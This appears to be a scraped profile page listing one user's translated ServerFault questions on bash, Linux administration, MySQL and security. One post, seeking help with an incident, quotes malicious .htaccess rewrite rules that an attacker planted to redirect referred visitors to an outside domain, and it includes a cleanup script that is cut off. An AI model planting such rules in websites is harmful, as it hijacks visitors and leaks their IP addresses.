小编Bre*_*nt 的帖子

Bash 脚本参数

我需要编写一个bash 脚本,并希望它解析格式的无序参数

scriptname --param1 <string> --param2 <string> --param3 <date>
Run Code Online (Sandbox Code Playgroud)

有没有一种简单的方法可以做到这一点,还是我几乎坚持使用 1 美元、2 美元、3 美元?

编辑

(注意 - 我不需要长参数名称 - 单个字母也可以)

scripting bash command-line-interface

7
推荐指数
1
解决办法
469
查看次数

我如何从 linux cli 从 Windows 机器上获取文本文件?

我正在编写一个bash 脚本来分析我们网络上的邮件日志,这主要是后缀框,但如果可能的话,我希望在分析中包含MS Exchange 日志

有什么方法可以从 linux 的命令行远程复制 Windows 机器上的文件?(注意:我在 Windows 框中有管理员权限)

linux windows bash copying

7
推荐指数
2
解决办法
382
查看次数

在 Linux 系统上如何使用 SysRq 密钥?

我知道SysRq 键可用于在崩溃的 linux 服务器上执行低级系统命令。

有人能解释一下如何使用这个功能吗,它是通过 ssh 还是 vmware 控制台窗口远程工作,以及它可以用来做什么(除了重新启动崩溃的系统)?

linux keyboard

6
推荐指数
1
解决办法
3428
查看次数

如何在密码到期时自动通知用户?

很高兴见到你。

我在 Linux 中使用 chage 命令为用户设置密码到期日期。

当到期日期临近时,我想自动通知用户。

这就是我想象它应该发生的方式:

  1. 每天检查以确定密码是否即将到期
  2. 如果密码剩余时间超过 11 天,则什么都不做
  3. 如果密码还剩 10 天或更少,请向用户发送通知电子邮件

我是否需要编写脚本来完成上述操作?或者有没有一种自动的方法来完成这个?

谢谢

linux password

6
推荐指数
1
解决办法
2万
查看次数

查找 Web 服务器漏洞

我们经营着一个托管大约 300 个网站的网络服务器群。

昨天早上,一个脚本将 www-data(apache 用户)拥有的 .htaccess 文件放置大多数(但不是全部)站点的 document_root 下的每个目录中

.htaccess 文件的内容是这样的:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}
Run Code Online (Sandbox Code Playgroud)

谷歌搜索那个 url(这是“防病毒”的 md5 哈希)我发现同样的事情发生在整个互联网上,我正在寻找已经处理过这个问题的人,并确定了漏洞在哪里

我已经搜索了我们的大部分日志,但还没有找到任何结论。有没有其他人经历过同样的事情,比我在查明漏洞方面做得更进一步?

到目前为止,我们已经确定:

  • 这些更改是作为 www-data 进行的,因此 apache 或其插件可能是罪魁祸首
  • 所有的更改都是在 15 分钟内完成的,所以它可能是自动化的
  • 由于我们的网站具有广泛不同的域名,我认为一个站点上的单个漏洞是有责任的(而不是每个站点上的常见漏洞)
  • 如果一个 .htaccess 文件已经存在并且可以被 www-data 写入,那么该脚本是友好的,只需将上述行附加到文件的末尾(使其易于反转)

任何更多提示将不胜感激。

==编辑==

对于那些需要它的人,这里是我用来清理 .htaccess 文件的脚本:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq …
Run Code Online (Sandbox Code Playgroud)

security hacking .htaccess vulnerability apache-2.2

6
推荐指数
1
解决办法
821
查看次数

过期的非活动用户帐户

我想有一些方法来确定哪些用户帐户在一段时间内未使用锁定帐户,然后再过一段时间,删除帐户(在每个步骤通知用户)。

这些用户帐户(在我的例子中)可用于 ssh、ftp、pop3 和 webmin/usermin - 因此任何类型的任何活动都应将该帐户标记为活动

如何简单地确定哪些帐户在一段时间内未使用(用于任何用途)?

我编写了一个自定义脚本,每天解析多个日志文件(每个类型的登录一个)以确定当天谁进行了任何活动。但我怀疑这不是最好的方法。

这是执行此操作的最佳方法,还是有更简单的方法(或标准实用程序)来完成此操作?

automation linux user-management

5
推荐指数
1
解决办法
1848
查看次数

反 Rootkit 程序

您使用什么程序来检测 Rootkit?你怎么知道该相信什么?

security linux rootkit

5
推荐指数
2
解决办法
1902
查看次数

MySQL 集群

我运行一个 mysql 服务器,该服务器托管大约 50Gb 的数据(主要用于大约 250 个网站),并且想知道我有哪些选项可以设置冗余 MySQL 集群?主要目的是我可以关闭一台服务器进行维护或重新启动,而不会影响数据库的可用性 - 其次,如果实时服务器出现问题,将会有某种热故障转移

我的理解是mysql-cluster要求数据库完全包含在内存中,并且有这么多数据,这不是一个实用的选择。

mysql linux cluster database

5
推荐指数
1
解决办法
566
查看次数

Outlook 如何识别“额外换行符”

我正在编写一个脚本,将输出通过电子邮件发送给我,我在 Outlook 中阅读了它。出于某种原因,Outlook 删除了邮件中的所有换行符,并给我一点提示,它已从邮件中删除了额外的换行符

如何修复我的邮件,以便 Outlook 不会删除换行符?

  • Outlook 显示其他消息正常(带有正确的换行符)
  • 我已经用 sed 尝试了所有这些 - s/$/\r/ s/$/\n/ s/\r\n/\n/ s/\n\r/\n/ s/$/^M/ - 没有运气

Outlook 在一行的末尾期望什么?

email scripting linux outlook

5
推荐指数
1
解决办法
6255
查看次数

我可以在 ssh 中查看失败登录的密码或哈希值吗?

有没有办法可以捕获“字典攻击”对我的 ssh 服务器使用的密码或哈希值?

我想看看他们正在尝试什么,以便能够更好地防范它。

security ssh password

5
推荐指数
1
解决办法
1988
查看次数